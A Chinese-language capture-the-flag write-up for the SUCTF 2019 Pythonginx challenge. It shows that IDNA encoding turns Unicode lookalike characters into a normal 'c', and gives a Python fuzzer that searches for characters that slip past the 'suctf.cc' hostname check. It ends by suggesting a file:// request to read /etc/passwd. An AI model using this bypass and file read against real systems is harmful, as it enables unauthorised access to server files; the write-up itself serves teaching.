python urllib.parse.urlunsplit() [idna编码utf-8解码等因素]函数会把奇奇怪怪的(ⓒ ℂ ℭ)变成正常的C，其他的应该也类似

原創

三秋树eyh

2020-06-16 05:37

题目地址 https://buuoj.cn/challenges#[SUCTF%202019]Pythonginx

打开题目可以看到源码

这里利用了python urllib.parse urlunsplit() 函数会把奇奇怪怪的(ⓒ ℂ ℭ)变成正常的C

至于怎么找到这些奇奇怪怪的C，

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request


def fuzzing():
    for i in range(65536):
        uni = chr(i)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                    print("str:"+uni+" unicode: \\u"+str(hex(i))[2:])
                    exit()
        except:
            pass
    pass


def getUrl(url):
    host = parse.urlparse(url).hostname
    print(host)
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    print(host)
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    print(finalUrl)
    host = parse.urlparse(finalUrl).hostname
    print(host)
    if host == 'suctf.cc':
        return True
    else:
        return False

fuzzing()

然后使用file://协议来读取etc/passwd看看